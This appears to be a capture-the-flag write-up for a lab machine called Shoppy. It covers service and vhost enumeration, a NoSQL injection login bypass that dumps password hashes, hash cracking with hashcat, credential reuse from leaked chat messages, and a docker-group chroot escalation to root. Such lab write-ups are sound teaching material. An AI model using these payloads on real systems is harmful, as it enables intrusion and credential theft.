Enumeration
Nmap
We start by running an nmap
scan on the most common 1000 ports using the flag -sV
to perform a service/version scan, the -sC
flag to perform a script scan using the default set of scripts, and the -Pn
flag to skip host discovery:
$ nmap -sV -sC -Pn 10.129.227.233
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 05:34 EST
Nmap scan report for 10.129.227.233
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| 256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open http nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds
Port 80
We add shoppy.htb
to /etc/hosts to resolve the vhost address:
$ echo -e "10.129.227.233\tshoppy.htb" | sudo tee -a /etc/hosts
10.129.227.233 shoppy.htb
We take a look at what web technologies the website is using with whatweb
:
$ whatweb http://shoppy.htb
http://shoppy.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.23.1], IP[10.129.227.233], JQuery, Script, Title[Shoppy Wait Page][Title element contains newline(s)!], nginx[1.23.1]
Gobuster
We use gobuster
in dir
mode to brute-force directories, passing a wordlist after the -w
flag:
$ gobuster dir -u http://shoppy.htb/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2022/12/06 05:36:46 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 302) [Size: 28] [--> /login]
/Admin (Status: 302) [Size: 28] [--> /login]
/ADMIN (Status: 302) [Size: 28] [--> /login]
/assets (Status: 301) [Size: 179] [--> /assets/]
/css (Status: 301) [Size: 173] [--> /css/]
/exports (Status: 301) [Size: 181] [--> /exports/]
/favicon.ico (Status: 200) [Size: 213054]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
/images (Status: 301) [Size: 179] [--> /images/]
/js (Status: 301) [Size: 171] [--> /js/]
/login (Status: 200) [Size: 1074]
/Login (Status: 200) [Size: 1074]
Progress: 4601 / 4615 (99.70%)===============================================================
2022/12/06 05:37:12 Finished
===============================================================
NoSQLi
Visiting http://shoppy.htb/login
we find a login form. After trying various SQLi payloads without any success, I shifted my focus to non-relational databases finding the right payload to get in:
Username = admin'||'1=1
Password = whatever
Once logged in, we can search for users in the Shoppy App. By using the same payload we can download this json file:
[
{
"_id": "62db0e93d6d6a999a66ee67a",
"username": "admin",
"password": "23c6877d9e2b564ef8b32c3a23de27b2"
},
{
"_id": "62db0e93d6d6a999a66ee67b",
"username": "josh",
"password": "6ebcea65320589ca4f2f1ce039975995"
}
]
Password Cracking
We can analyze the hashes we found with hashid
:
$ hashid '23c6877d9e2b564ef8b32c3a23de27b2' '6ebcea65320589ca4f2f1ce039975995'
Analyzing '23c6877d9e2b564ef8b32c3a23de27b2'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
Analyzing '6ebcea65320589ca4f2f1ce039975995'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
We save the hashes in a file:
$ echo -e "23c6877d9e2b564ef8b32c3a23de27b2\n6ebcea65320589ca4f2f1ce039975995" > hashes
and try to crack them as MD5 hashes using hashcat
. We use the -a
flag to specify the attack mode, in this case 0
for mode Straight
, and the -m
flag to specify the hash type, in this case 0
for MD5
:
$ hashcat -a 0 -m 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: pthread-AMD Ryzen 7 5800X 8-Core Processor, 2904/5872 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
6ebcea65320589ca4f2f1ce039975995:remembermethisway
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes
Time.Started.....: Tue Dec 6 08:27:45 2022 (3 secs)
Time.Estimated...: Tue Dec 6 08:27:48 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 4966.6 kH/s (0.08ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 21%
Started: Tue Dec 6 08:27:43 2022
Stopped: Tue Dec 6 08:27:48 2022
We got the password of user josh
: remembermethisway
.
We can’t ssh login as josh:remembermethisway
though, so we need to look elsewhere.
vhost Subdomain Enumeration
We use gobuster
in vhost
mode to check if our virtual host target has any subdomains:
$ gobuster vhost -u http://shoppy.htb -w /usr/share/wordlists/amass/bitquark_subdomains_top100K.txt -t 50 --append-domain
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/amass/bitquark_subdomains_top100K.txt
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2022/12/06 08:48:55 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb Status: 200 [Size: 3122]
Progress: 99668 / 100001 (99.67%)===============================================================
2022/12/06 08:50:43 Finished
===============================================================
We add mattermost.shoppy.htb
to /etc/hosts:
$ echo -e "10.129.227.233\tmattermost.shoppy.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.129.227.233 mattermost.shoppy.htb
Visiting mattermost.shoppy.htb
we find a login form which accept the josh
:remembermethisway
credentials.
Mattermost is an Open Source platform for collaboration.
The version running is:
Mattermost Enterprise Edition
Modern communication from behind your firewall.
Mattermost Version: 7.1.2
Database Schema Version: 89
Database: postgres
In the app we find three members:
Channel admin: jaeger
Members: jess
, josh
In the Development channel we can read this conversation:
# josh
Hey @jaeger, when I was trying to install docker on the machine, I started learn C++ and I do a password manager. You can test it if you want, the program is on the deploy machine.
# jaeger
Nice, I will take a look at it
and in the Deploy Machine channel we can read this conversation:
# jaeger
Hey @josh,
For the deploy machine, you can create an account with these creds :
username: jaeger
password: Sh0ppyBest@pp!
And deploy on it.
# josh
Thanks, I'll remember that
The deploy machine will be created within the next 24h
# jaeger
Okay, good luck for that
# josh
Oh I forgot to tell you, that we're going to use docker for the deployment, so I will add it to the first deploy
# jaeger
Nice, tell me when all is done
# josh
Sure I will
# jaeger
Ok, thanks
We now have the credential for user jaeger
.
Getting a Shell
We can ssh login as jaeger
using the password Sh0ppyBest@pp!
:
$ ssh jaeger@10.129.227.233
<SNIP>
jaeger@shoppy:~$
User Flag
We find the user flag in jaeger
’s home directory:
jaeger@shoppy:~$ ls
Desktop Documents Downloads Music Pictures Public ShoppyApp shoppy_start.sh Templates user.txt Videos
jaeger@shoppy:~$ cat user.txt
68a****************ad9
jaeger@shoppy:~$
Running sudo -l
we find that we can run the password-manager
that user josh
was mentioning before as user Deploy
:
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: qwerty
Access denied! This incident will be reported !
but we don’t have the master password.
We cat
the binary to look for clues:
jaeger@shoppy:~/ShoppyApp$ cat /home/deploy/password-manager
<SNIP>
Welcome to Josh password manager!Please enter your master password: SampleAccess granted! Here is creds !cat /home/deploy/creds.txtAccess denied!
<SNIP>
After the string Please enter your master password:
we notice the string Sample
, which turns out to be the master password we needed to authenticate:
jaeger@shoppy:~/ShoppyApp$ sudo -u deploy /home/deploy/password-manager
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
Now we can ssh login as deploy
using the password Deploying@pp!
:
$ ssh deploy@10.129.227.233
<SNIP>
$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
Privilege Escalation
We read before that josh
deployed the app using docker, and deploy
is part of group 998(docker)
.
Privilege escalation through a docker container is our way to go. We can spawn a root shell with this command:
$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
Root Flag
We can find the root flag in the root
directory:
# ls /root
root.txt
# cat /root/root.txt
c19****************c3a